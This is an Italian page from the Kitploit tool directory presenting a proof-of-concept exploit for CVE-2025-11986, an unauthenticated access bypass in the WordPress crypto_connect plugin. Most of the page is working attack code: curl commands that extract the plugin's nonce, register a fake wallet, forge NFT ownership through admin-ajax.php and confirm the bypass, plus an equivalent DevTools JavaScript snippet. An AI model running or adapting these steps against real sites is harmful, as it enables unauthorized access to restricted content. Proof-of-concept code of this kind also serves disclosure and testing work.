Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-11986 — Proof-of-concept exploit per CVE-2025-11986 che dimostra un bypass di accesso non autenticato nel plugin crypto_connect di WordPress tramite estrazione di nonce e registrazione NFT falsa. | Kitploit
Strumenti/GitHubGitHub/jfriedli/cve-2025-11986
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingAutenticazione
GitHubjfriedli/cve-2025-11986

CVE-2025-11986

Proof-of-concept exploit per CVE-2025-11986 che dimostra un bypass di accesso non autenticato nel plugin crypto_connect di WordPress tramite estrazione di nonce e registrazione NFT falsa.

Vedi Repository
4 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

1) Estrai il nonce pubblico crypto_ajax dalla pagina ristretta

root@kitploit:~
UA='Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0'

NONCE=$(curl -s "http://localhost/wordpress/<RESTRICTED_PAGE_URL>" -A "$UA" | \
  perl -0777 -ne 'print "$1\n" if /crypto_connectChainAjax\s*=\s*\{[^}]*"nonce"\s*:\s*"([^"]+)"/s')

# Fallback extraction method
[ -z "$NONCE" ] && NONCE=$(curl -s "http://localhost/wordpress/<RESTRICTED_PAGE_URL>" -A "$UA" | \
  perl -ne "print \"$1\n\" if /create_link_crypto_connect_login\\(\\s*'([A-Za-z0-9_-]+)'/i")

echo "Nonce: $NONCE"

2) Esegui una registrazione non autenticata (nessuna prova del wallet richiesta)

root@kitploit:~
curl -s "http://localhost/wordpress/wp-admin/admin-ajax.php" -A "$UA" \
  --data "action=crypto_connect_ajax_process&method_name=register&id=1&nonce=${NONCE}&param1=0xDEADBEEF00000000000000000000000000000000"

3) Simula il possesso di NFT per forzare l'accesso

root@kitploit:~
curl -s "http://localhost/wordpress/wp-admin/admin-ajax.php" -A "$UA" \
  --data "action=crypto_connect_ajax_process&method_name=savenft&id=1&nonce=${NONCE}&param1=&param2=attacker.yak&param3=1"

4) Verifica che il contenuto ristretto sia accessibile

root@kitploit:~
curl -s "http://localhost/wordpress/<RESTRICTED_PAGE_URL>" -A "$UA" | \
  grep -F 'SECRET: ONLY FOR HOLDERS' && echo "[+] Access bypass confirmed"

Opzionale: PoC basato sul browser (esegui in DevTools)

root@kitploit:~
(() => {
  const n =
    (window.crypto_connectChainAjax && window.crypto_connectChainAjax.nonce) ||
    (document.documentElement.innerHTML.match(/create_link_crypto_connect_login\('([^']+)'/) || [])[1];

  if (!n) {
    console.error('nonce not found');
    return;
  }

  const post = d =>
    fetch('/wordpress/wp-admin/admin-ajax.php', {
      method: 'POST',
      headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
      body: new URLSearchParams(d)
    })
      .then(r => r.text())
      .then(t => (console.log(t), t));

  (async () => {
    await post({
      action: 'crypto_connect_ajax_process',
      method_name: 'register',
      id: '1',
      nonce: n,
      param1: '0xDEADBEEF00000000000000000000000000000000'
    });

    await post({
      action: 'crypto_connect_ajax_process',
      method_name: 'savenft',
      id: '1',
      nonce: n,
      param1: '',
      param2: 'attacker.yak',
      param3: '1'
    });

    location.reload();
  })();
})();
Scarica lo strumento